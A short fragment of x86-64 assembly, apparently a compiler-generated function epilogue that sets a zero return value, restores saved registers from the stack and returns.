xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret